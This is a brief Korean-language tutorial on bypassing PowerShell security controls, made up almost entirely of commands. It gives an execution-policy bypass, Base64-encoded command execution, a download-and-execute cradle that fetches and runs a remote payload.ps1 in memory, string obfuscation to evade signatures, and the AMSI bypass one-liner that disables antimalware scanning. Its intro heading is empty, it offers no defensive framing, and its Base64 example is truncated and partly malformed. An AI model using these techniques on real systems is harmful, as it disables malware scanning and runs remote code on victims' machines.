1. 보안 우회란?

2. PowerShell 보안 우회 주요 기법

설명 예시
실행 정책 우회 ExecutionPolicy 제한을 무시하고 스크립트 실행 powershell.exe -ExecutionPolicy Bypass
명령 인코딩 Base64로 명령을 인코딩해 실행 powershell.exe -EncodedCommand <Base64>
다운로드 후 실행(LOLBAS) 원격 스크립트를 다운로드해 메모리에서 실행 IEX (New-Object Net.WebClient).DownloadString('http://...')
AMSI 우회 AMSI(Antimalware Scan Interface) 메모리 패치 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
스크립트 난독화 변수명 변경, 문자열 분리·합치기 등 시그니처 우회 "Wr" + "ite-Output 'Hello'"

3. PowerShell 보안 우회 예시

3-1. 실행 정책 우회


# 정책 변경 없이 스크립트 실행
powershell.exe -ExecutionPolicy Bypass -File script.ps1

3-2. 인코딩된 명령 실행


# "Write-Output '유준상 테스트'" 를 Base64로 인코딩 후 실행
powershell.exe -EncodedCommand VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABbACcAVQBqAHUAbgBzAGEAbmcAIAB0AGUA...

3-3. 다운로드 후 실행

IEX (New-Object Net.WebClient).DownloadString('<http://example.com/payload.ps1>')

3-4. AMSI 우회

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)